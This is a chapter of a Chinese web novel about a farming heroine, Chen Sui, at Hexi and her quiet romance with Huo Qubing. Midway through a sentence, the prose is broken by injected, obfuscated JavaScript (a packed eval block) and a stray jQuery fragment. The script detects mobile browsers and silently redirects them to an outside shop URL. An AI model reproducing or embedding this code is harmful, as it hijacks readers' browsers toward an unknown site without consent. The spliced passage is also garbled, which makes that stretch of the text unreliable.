春天又到河西了。雪水沿着祁连山融下来的时候，陈穗正蹲在弱水河上游那道新挖的渠口边，亲手把第一块引水挡板拆下来。水流从渠口涌进去，沿着新修的渠道一路往下淌，经过两架翻新过的水车，分流到十二道支渠里，最后灌进三百亩麦田的每一垄沟底。水声从涓涓变成哗哗，再分成无数细碎的汩汩声，像整片地在一瞬间醒了过来。
陈穗蹲在渠口边看着水淌出去，日光把水面照得亮晃晃的，她眯了一下眼但没有移开目光，一直看着那道水头沿着渠壁往前走，一段一段地漫过新翻的泥土。木棍老兵拄着木棍站在她身后，也看着那道水往前走。“今年比去年早了六七天化雪。”他说。
“嗯。所以水车提前三天装了。”
“明年是不是还要扩？”
“看这批种子出苗率。”陈穗站起来拍了拍膝盖上的土，“出得好就扩到四百。”
老兵“嚯”了一声，没再追问。他跟着陈穗沿着渠边走了一段路。走到第一架水车前面的时候两人停下来看了看水车转动的状况，轮轴的声音比去年顺滑了不少。陈穗弯下腰检查了一下轴承连接处的榫卯——松了一点点，她掏出随身带的小木楔子敲进去了。
这已经是她在河西的第三个春天了。
一年的时间在这片土地上被分成了两截——麦子生长的季节和麦子休息的季节。她在两个季节之间来回切换着：春天翻地播种，夏天除草灌溉，秋天收割入仓，冬天修整水车和准备来年的计划。系统每隔一段时间会弹出一条升级提示，她解锁的科技树已经从草木灰和沤肥扩展到了轮作模式、绿肥种植和冬小麦选育。文吏的账本越来越厚，从一卷变成三卷再变成六卷。老兵的手比以前更稳了，他能拄着木棍在田埂上站一整个下午，等陈穗忙完了一起走回去。营地北面那排木棚从一排扩成了三排，里面不仅放工具还放了农闲时节晾晒的药材和干菜。
霍去病这一年大部分时间在河西。出征的次数少了，练兵的时候多了。每次练兵结束会路过麦田，有时候带着亲卫一起，有时候一个人。他路过的时候会放慢马速，从田埂边上经过的时候侧头看一眼麦田的长势。陈穗如果在地里，他会勒一下马，隔着几排麦垄跟她对个眼神，然后继续走。
有时候她收工晚了，走过主帐时帐帘会掀着一条缝，透出里面的灯光。她有时候会放慢脚步，隔着那条缝看到他正坐在胡床上看军报或者拿炭笔在竹片上写字。她放慢脚步走过去之后没有往里看第二眼，但心里的某盏灯就像被点亮了。回到自己帐里坐在灯下的时候，她会把他拿走的旧手套的位置想一下——那双旧手套现在在主帐的某处，她不知道是放在枕边还是收在匣子里，但知道它在他那里。这个念头足够让她在灯下坐一会儿了。
有一天傍晚她收工回来，经过主帐的时候脚步停了一下。帐帘开着的。不是一条缝，是整面掀起来的，门洞敞着，里面的景象一览无余——胡床、矮几、沙盘、摊开的军报。霍去病坐在胡床边上，背对着门口的方向，低着头，正在看手里的什么东西。那东西不大，浅褐色的，边缘磨毛了，被他的两只手托着。陈穗的目光落到那东西上的时候整个人顿了一下——那双旧手套。她磨透了掌心的、内侧写了“陈穗”两个字的旧手套。他正把它托在掌心里，低头用指尖慢慢描着内侧那两个字的位置，手指沿着已经模糊的笔画轮廓缓慢地划动着，像在描一幅已经快要消失的图案，想把它重新刻进记忆里。
陈穗站在门口没动。帐门敞开着，她没有出声，他也没有抬头。他描得很慢，描完那个“陈”字又描那个“穗”字，描完之后手指在那两个字的轮廓上停了一下，然后他把手套翻了过来，用手掌包着它，合拢了手指。那是一个攥的动作，但它跟平时握拳的姿势不一样——它是柔软的、收拢的，像在握住一件怕弄碎的东西。
陈穗还是没出声。她站在那里看着他的背影，看了很长一段时间。暮光从她背后照进去，她的影子在地面上铺了一道细长的灰线，一直延伸到他的脚边才止住。他像是感觉到了什么，偏了一下头朝门口的方向看了一眼，然后整个人停住了。
他看见她站在门口。暮光从她背后照过来把她整个人镀了一层
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920790|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
暗金色的轮廓，脸看不清，但她站的位置和姿势他认得出。他手里还攥着那只手套，攥了一下，然后把它放在旁边的胡床上。没有慌张，没有藏，只是放在那儿了。两人隔着大半个主帐的距离对视着。暮色把两人的面容都收进了一层柔和的灰影里，脸看不清但目光的方向是互相锁着的。
陈穗先开口了：“字写得不好看。下回写工整点。”
她的声音平平静静的，像在说一件很平常的事。但她说的是“下回”。霍去病坐在胡床上看着她。暮光里他的表情看不太清楚，但她看见他把放在胡床上那只手套拿起来叠好放进了自己的怀里，跟他的东西放在一起。然后他说了一句话：“下回写工整点。”
没有多一个字，但他把“下回”这两个字重复了一遍。
陈穗站在门口没进去，她也笑了笑，然后她转身走了。走回自己帐里的路上经过麦田边缘，风吹过来带着新翻泥土的气味和麦苗初生的嫩绿气息。她走着走着伸手摸了一下胸口的竹片，脚步轻快了一点。
他把她旧手套收走了。她说的“下回”他接了。春天正在慢慢过完，麦子正在抽穗。所有的事都在往对的方向走，没有人要把它们拧回来。她走进自己帐里坐下来，把怀里那三片竹片掏出来放在膝盖上，看了片刻，然后一片片叠好放回怀里，站起来去烧水了。
那天晚上主帐的灯亮得比平时更久。霍去病坐在灯下，面前铺着一块空白的竹片和一支炭笔。他把竹片翻过来看了看又翻回去，然后拿起笔，一笔一划地开始写。笔画很慢很稳，像在描摹一件很久以前就已经记熟了的形状。他写完一个字之后拿起来看了看，又放回去继续写下一个。那道灯光从帐布缝隙里漏出来落在主帐外的地面上，像一小片橘色的水，安安静静地铺在那里，一直等到夜色深了才熄灭。
陈穗那晚睡得很好。她翻了最后一个身面朝着帐篷墙壁，把自己团成一个舒服的弧度，然后闭着眼听着帐外的风声和远处麦田里细碎的沙沙声。那双手套在他怀里了。这是她进入睡眠前的最后一个念头。她合上眼的时候嘴角是弯着的。